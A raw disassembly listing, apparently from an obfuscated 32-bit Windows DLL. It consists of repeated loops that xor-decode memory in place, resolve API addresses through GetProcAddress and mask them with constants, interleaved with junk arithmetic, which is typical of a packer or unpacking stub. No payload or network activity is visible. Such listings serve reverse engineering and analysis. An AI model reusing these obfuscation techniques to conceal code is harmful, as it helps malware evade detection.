xor eax, 0xdccfe0a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43c4]
add eax, 0x85958
xor eax, dword [ecx]
xor eax, 0xdcc49594
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x86ab]
add eax, 0x27bc8
xor eax, dword [ecx]
xor eax, 0xdcceb704
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e28]
add eax, 0x270a4
xor eax, dword [ecx]
xor eax, 0xdccebc68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47cc]
add eax, 0x99220
xor eax, dword [ecx]
xor eax, 0xdcc55eec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x985f]
add eax, 0x200f8
xor eax, dword [ecx]
push 0x10
push dword [esp + 0x38]
xor eax, 0xdccecc34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b088]
add eax, 0xa52dc
xor eax, dword [ecx]
xor eax, 0xdcc69e10
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2033c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0x4cccccdc
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10708]
add eax, 0x20134
xor eax, dword [ecx]
xor eax, 0xdccecdf8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb606]
add eax, 0x20290
xor eax, dword [ecx]
xor eax, 0xdccece5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c242]
add eax, 0x239b0
xor eax, dword [ecx]
xor eax, 0xdccef57c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x483f]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8132]
add eax, 0x27b70
xor eax, dword [ecx]
xor eax, 0xdcceb7bc
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, dword [esp + 0x18]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa8b6]
add eax, 0x33de8
xor eax, dword [ecx]
xor eax, 0xdccff124
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b0c]
add eax, 0x249a4
xor eax, dword [ecx]
xor eax, 0xdcce8568
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25700]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa91d]
add eax, 0xa56a0
xor eax, dword [ecx]
xor eax, 0xdcc69a6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cb68]
add eax, 0x20194
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x127
xor eax, 0xdccecd58
mov dword [ecx], eax
mov eax, dword [0x101062e4]
and eax, dword [0x10105abc]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1418e]
add eax, 0x20378
xor eax, dword [ecx]
xor eax, 0xdccecfb4
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10103e64]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x1003640a
mov eax, dword [0x10107300]
lea ecx, [eax + 0x98b6]
add eax, 0x27c58
xor eax, dword [ecx]
push 0x10107d9c
xor eax, 0xdcceb094
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7348]
add eax, 0x2000c
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcceccc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x515a]
add eax, 0x25ea4
xor eax, dword [ecx]
xor eax, 0xdcce9268
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x120a3]
add eax, 0x324d0
xor eax, dword [ecx]
xor eax, 0xdccfe81c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37054]
add eax, 0x320b4
xor eax, dword [ecx]
xor eax, 0xdccfec78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f18]
add eax, 0x26f94
xor eax, dword [ecx]
xor eax, 0xdccea358
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x1f2c1]
add eax, 0x32b04
xor eax, dword [ecx]
xor eax, 0xdccfe7c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20300
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8334
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17fec]
add eax, 0x201a0
xor eax, dword [ecx]
xor eax, 0xdccecd6c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
or eax, dword [esp + 0x18]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e665]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ae6]
add eax, 0xa49bc
xor eax, dword [ecx]
xor eax, 0xdcc68570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd2d4]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b3c]
add eax, 0x21c08
xor eax, dword [ecx]
xor eax, 0xdcced0c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x337a4]
add eax, 0x3372c
xor eax, dword [ecx]
xor eax, 0xdccffbe0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ac4]
add eax, 0x16c55
xor eax, dword [ecx]
xor eax, 0xdccda099
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4368]
add eax, 0x26708
xor eax, dword [ecx]
xor eax, 0xdcceabc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f54c]
add eax, 0x33f40
xor eax, dword [ecx]
xor eax, 0xdccff38c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa2fa]
add eax, 0x27e3c
xor eax, dword [ecx]
xor eax, 0xdcceb2f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a0ac]
add eax, 0x32afc
xor eax, dword [ecx]
xor eax, 0xdccfe630
mov dword [ecx], eax
mov eax, dword [0x10103e64]
and dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338f4]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x1010536c]
add dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254a4]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331b8]
add eax, 0x331c4
xor eax, dword [ecx]
xor eax, 0xdccffd08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa841]
add eax, 0xa59b4
xor eax, dword [ecx]
xor eax, 0xdcc69578
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x116f2]
add eax, 0x323ec
xor eax, dword [ecx]
xor eax, 0xdccfef20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x105a1]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a34]
add eax, 0x13cf0
xor eax, dword [ecx]
push 0x10107477
xor eax, 0xdccdf03c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7bc]
add eax, 0xa5a38
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x1010536c]
and eax, dword [esp + 0x20]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3743]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20058
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b58
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33ae0]
add eax, 0x36008
xor eax, dword [ecx]
xor eax, 0xdccfacc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17951]
add eax, 0x17a20
xor eax, dword [ecx]
xor eax, 0xdccdb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ab0]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb6c9]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e4]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x46eb]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x10105368], 0x29d7b13b
lea ecx, [eax + 0x32a6c]
add eax, 0x12fe0
xor eax, dword [ecx]
xor eax, 0xdccde32c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x124de]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf57e]
add eax, 0xa5a34
xor eax, dword [ecx]
push 0x10107a5e
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33098]
add eax, 0x330f4
xor eax, dword [ecx]
push ebp
xor eax, 0xdccffc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201e0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107d09
xor ecx, 0xcccf9a86
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32dbc]
add eax, 0x32d90
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccfe15c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf655]
add eax, 0x29114
xor eax, dword [ecx]
xor eax, 0xdcce5dd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x343d0]
add eax, 0x1ea41
xor eax, dword [ecx]
xor eax, 0xdccd268d
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x3325c]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32aec]
add eax, 0x4cb0
xor eax, dword [ecx]
xor eax, 0xdccc807c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34444]
add eax, 0x1eaf2
xor eax, dword [ecx]
xor eax, 0xdccd263e
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa990]
add eax, 0x20130
xor eax, dword [ecx]
xor eax, 0xdccecdfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ada]
add eax, 0x201b4
xor eax, dword [ecx]
xor eax, 0xdccecd78
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202d8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0xb0
xor ecx, 0xcccf9cc6
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf65b]
add eax, 0x29128
xor eax, dword [ecx]
xor eax, 0xdcce5de4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa09f]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11433]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10105368]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x100369cc
mov eax, dword [0x10107300]
lea ecx, [eax + 0x180a8]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ec0]
add eax, 0x2d40
xor eax, dword [ecx]
xor eax, 0xdccce18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32348]
add eax, 0x328dc
xor eax, dword [ecx]
xor eax, 0xdccfe410
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1045e]
add eax, 0x20164
xor eax, dword [ecx]
xor eax, 0xdccecda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b4c]
add eax, 0x24914
xor eax, dword [ecx]
xor eax, 0xdcce85d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb832]
add eax, 0x24ec0
xor eax, dword [ecx]
xor eax, 0xdcce820c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b88]
add eax, 0x27584
xor eax, dword [ecx]
xor eax, 0xdcceb948
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c146]
add eax, 0x3630c
xor eax, dword [ecx]
xor eax, 0xdccfafc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa442c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1336d]
add eax, 0x23138
xor eax, dword [ecx]
xor eax, 0xdccefdf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa23c]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10103e64]
mov ecx, dword [esp + 0x14]
add eax, ecx
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6854]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240f4]
add eax, 0x23a88
xor eax, dword [ecx]
xor eax, 0xdccef644
mov dword [ecx], eax
mov eax, dword [0x10107300]
push 0x10107ea3
push dword [esp + 0x34]
add eax, 0x2003c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf98c8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33228]
add eax, 0x331f4
xor eax, dword [ecx]
xor eax, 0xdccffd38
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
add ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x17bf8]
add eax, 0x201b0
xor eax, dword [ecx]
xor eax, 0xdccecd7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4320]
add eax, 0x267a4
xor eax, dword [ecx]
xor eax, 0xdcceab68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4634]
add eax, 0x91940
xor eax, dword [ecx]
xor eax, 0xdcc5d58c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a44]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34048]
add eax, 0x118ed
xor eax, dword [ecx]
xor eax, 0xdccdd421
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb917]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa445c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33744]
add eax, 0x338fc
xor eax, dword [ecx]
xor eax, 0xdccff430
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb7a8]
add eax, 0xa5a24
xor eax, dword [ecx]
xor eax, 0xdcc696e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33320]
add eax, 0x332e8
xor eax, dword [ecx]
xor eax, 0xdccffe24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ebc]
add eax, 0x20e88
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x1e0
xor eax, 0xdccec244
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2575c]
add eax, 0x3dc0
xor eax, dword [ecx]
xor eax, 0xdcccf10c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4324]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [0x10103e64]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10036cd7
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10942]
add eax, 0x20240
xor eax, dword [ecx]
push 6
xor eax, 0xdccece8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34320]
add eax, 0x1f80f
xor eax, dword [ecx]
push dword [esp + 0x44]
xor eax, 0xdccd34c3
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a82b]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b8ae]
add eax, 0xa5530
xor eax, dword [ecx]
xor eax, 0xdcc699fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37140]
add eax, 0x2a140
xor eax, dword [ecx]
xor eax, 0xdcce6d8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10103e64]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x65c7]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9df8]
add eax, 0x328dc
xor eax, dword [ecx]
xor eax, 0xdccfe410
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb5ad]
add eax, 0x24e28
xor eax, dword [ecx]
xor eax, 0xdcce82e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f94]
add eax, 0x23f3c
xor eax, dword [ecx]
xor eax, 0xdccef3f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33254]
add eax, 0x33308
xor eax, dword [ecx]
xor eax, 0xdccfffc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc1d]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d4b]
add eax, 0x20150
xor eax, dword [ecx]
xor eax, 0xdccecd9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20214
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x1010737b
xor ecx, 0x4cccccca
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5894]
add eax, 0x2022c
xor eax, dword [ecx]
push dword [esp + 0x3c]
xor eax, 0xdccecee0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4664]
add eax, 0x91f48
xor eax, dword [ecx]
xor eax, 0xdcc5d384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ae0]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [esp + 0x20]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x210d]
add eax, 0x24f44
xor eax, dword [ecx]
xor eax, 0xdcce8388
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12859]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe695]
add eax, 0x20280
xor eax, dword [ecx]
xor eax, 0xdccece4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25500]
add eax, 0x3680
xor eax, dword [ecx]
xor eax, 0xdcccfa4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c2c]
add eax, 0x4b4d8
xor eax, dword [ecx]
xor eax, 0xdcc87814
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f30]
add eax, 0x26f74
mov dword [0x10103e60], 0x5dffcf7b
xor eax, dword [ecx]
xor eax, 0xdccea3b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb0c3]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x180a1]
add eax, 0x23220
xor eax, dword [ecx]
xor eax, 0xdccefeec
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2030c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x21b
xor ecx, 0xcccf8500
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a24]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x1c360]
add eax, 0xa4bfc
xor eax, dword [ecx]
xor eax, 0xdcc68730
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37138]
add eax, 0x2aed8
xor eax, dword [ecx]
xor eax, 0xdcce6214
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3627c]
add eax, 0x23370
xor eax, dword [ecx]
xor eax, 0xdcceffbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e6da]
add eax, 0xa8f2c
xor eax, dword [ecx]
xor eax, 0xdcc643e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19910]
add eax, 0xa4bf4
xor eax, dword [ecx]
xor eax, 0xdcc68738
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc2e9]
add eax, 0x28878
xor eax, dword [ecx]
xor eax, 0xdcce44b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32968]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x234d]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36c50]
add eax, 0x36bd0
xor eax, dword [ecx]
xor eax, 0xdccfa71c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
mov eax, dword [0x101062e0]
imul eax, eax, 0x857dff73
mov dword [0x10105368], eax
mov eax, dword [0x10103e60]
or eax, 0x4f747a05
dec dword [esp + 0x10]
mov dword [0x1010536c], eax
jne 0x100370c2
mov eax, dword [0x10103e64]
xor eax, dword [0x10106ae8]
push 0x10107ee0
push dword [esp + 0x30]
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
add eax, 0x2023c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf988e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a94]
add eax, 0x3bfc8
xor eax, dword [ecx]
xor eax, 0xdccf7304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b14]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19c63]
add eax, 0x201f0
xor eax, dword [ecx]
xor eax, 0xdccecd3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3625c]
add eax, 0x23524
xor eax, dword [ecx]
xor eax, 0xdccef9e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x14c4]
mov ecx, eax
or ecx, dword [0x101062e0]
add eax, 0x149e
xor eax, dword [edx]
mov dword [esp + 0x14], ecx
xor eax, 0xdcccd852
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa410c]
add eax, 0x7c2c0
xor eax, dword [edx]
xor eax, 0xdccb0e0c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x17828]
add eax, 0x17850
xor eax, dword [edx]
xor eax, 0xdccdb49c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1ce10]
add eax, 0x1ce60
xor eax, dword [edx]
xor eax, 0xdccd02ac
mov dword [edx], eax
mov eax, dword [0x101062e0]
or eax, ecx
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1149f]
add eax, 0x23128
xor eax, dword [edx]
xor eax, 0xdccefde4
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x190e1]
add eax, 0x36530
xor eax, dword [edx]
xor eax, 0xdccfa9fc
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xfe71]
add eax, 0x20098
xor eax, dword [edx]
push 0x10107c32
xor eax, 0xdccecc54
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa4290]
add eax, 0x26890
xor eax, dword [edx]
push dword [esp + 0x28]
xor eax, 0xdccea45c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x28c7]
add eax, 0x25088
xor eax, dword [edx]
xor eax, 0xdcce9c44
mov dword [edx], eax
mov eax, dword [0x10107300]
mov edx, eax
or edx, ecx
imul ecx, ecx, 0x82271e7e
mov dword [0x101062e0], edx
lea edx, [eax + 0x19db6]
add eax, 0xa508c
xor eax, dword [edx]
xor eax, 0xdcc69c40
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x32a98]
add eax, 0x13040
xor eax, dword [edx]
xor eax, 0xdccdfc8c
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa3fa4]
add eax, 0x74448
xor eax, dword [edx]
xor eax, 0xdccb8884
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa348]
add eax, 0xa5a0c
xor eax, dword [edx]
xor eax, 0xdcc696c0
mov dword [edx], eax
mov eax, dword [0x101062e0]
imul eax, eax, 0xad50ff15
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x1598c]
add eax, 0x15807
xor eax, dword [edx]
xor eax, 0xdccd94cb
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0xa136]
add eax, 0x20114
xor eax, dword [edx]
xor eax, 0xdccecdd8
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x10d93]
add eax, 0x27c94
xor eax, dword [edx]
xor eax, 0xdcceb058
mov dword [edx], eax
mov eax, dword [0x10107300]
lea edx, [eax + 0x13fb3]
add eax, 0x25868
xor eax, dword [edx]
xor eax, 0xdcce94a4
mov dword [edx], eax
mov eax, dword [0x10107300]
add eax, 0x2029c
mov dword [0x101062e0], ecx
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9ef8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c74]
add eax, 0x4da80
xor eax, dword [ecx]
xor eax, 0xdcc8164c
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
and eax, 0x831131ea
